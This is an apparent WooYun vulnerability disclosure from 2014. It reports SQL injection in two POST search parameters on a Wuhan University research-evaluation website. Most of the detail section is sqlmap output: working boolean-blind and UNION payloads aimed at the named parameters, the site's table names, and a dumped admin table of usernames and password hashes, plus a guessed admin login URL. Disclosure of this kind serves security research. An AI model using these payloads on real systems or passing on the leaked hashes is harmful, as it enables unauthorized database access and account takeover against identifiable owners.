当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-086865

漏洞标题：中国科学评价研究中心两参数SQL注入

相关厂商：武汉大学

漏洞作者： WEAINE

提交时间：2014-12-12 12:55

修复时间：2014-12-17 12:56

公开时间：2014-12-17 12:56

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：13

漏洞状态：已交由第三方合作机构(CCERT教育网应急响应组)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-12-12： 细节已通知厂商并且等待厂商处理中
2014-12-17： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

中国科学评价研究中心搜索处两个POST参数未过滤导致SQL注入

详细说明：

在首页rccse.whu.edu.cn左侧搜索，抓包看到几个POST参数，其中参数BigClassName和参数key未过滤，导致SQL注入。

屏幕快照 2014-12-11 23.51.20.png

漏洞证明：

屏幕快照 2014-12-11 23.54.32.png


---
Place: POST
Parameter: key
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: action=&BigClassName=&SmallClassName=&key=a%' AND 3024=3024 AND '%'='&Submit=
    Type: UNION query
    Title: Generic UNION query (55) - 13 columns
    Payload: action=&BigClassName=&SmallClassName=&key=a%' UNION ALL SELECT 55,55,55,55,55,55,55,55,55,55,55,CHR(113)&CHR(118)&CHR(108)&CHR(110)&CHR(113)&CHR(114)&CHR(108)&CHR(116)&CHR(76)&CHR(79)&CHR(69)&CHR(114)&CHR(82)&CHR(98)&CHR(82)&CHR(113)&CHR(102)&CHR(107)&CHR(122)&CHR(113),55 FROM MSysAccessObjects%16&Submit=
Place: POST
Parameter: BigClassName
    Type: UNION query
    Title: Generic UNION query (NULL) - 13 columns
    Payload: action=&BigClassName=' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CHR(113)&CHR(118)&CHR(108)&CHR(110)&CHR(113)&CHR(88)&CHR(68)&CHR(79)&CHR(70)&CHR(81)&CHR(105)&CHR(69)&CHR(71)&CHR(65)&CHR(118)&CHR(113)&CHR(102)&CHR(107)&CHR(122)&CHR(113),NULL,NULL FROM MSysAccessObjects%16&SmallClassName=&key=a&Submit=
---


屏幕快照 2014-12-11 23.55.13.png


Database: Microsoft_Access_masterdb
[4 tables]
+-----------+
| admin     |
| copyright |
| log       |
| news      |
+-----------+


admin表如下：

屏幕快照 2014-12-11 23.56.22.png


Database: Microsoft_Access_masterdb
Table: admin
[5 entries]
+----+------+----------+--------------------------------+
| id | data | username | password                       |
+----+------+----------+--------------------------------+
| 10 | <blank> | asd      | C92817A3883067D47880B2F8776C8F |
| 11 | <blank> | hacksky  | 4D48FCD27827B82C5E831B9896C57C |
| 2  | <blank> | admin    | ABD74CBA84C5E84B208870E8716675 |
| 8  | <blank> | smq      | FD57C40C82A86834A0838058E16675 |
| 9  | <blank> | hyk      | CCA8E26B745867E2D782C2681ACE88 |
+----+------+----------+--------------------------------+


猜解后台地址，http://rccse.whu.edu.cn/admin/admin_login.asp

修复方案：

过滤

版权声明：转载请注明来源 WEAINE@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2014-12-17 12:56

厂商回复：

最新状态：

暂无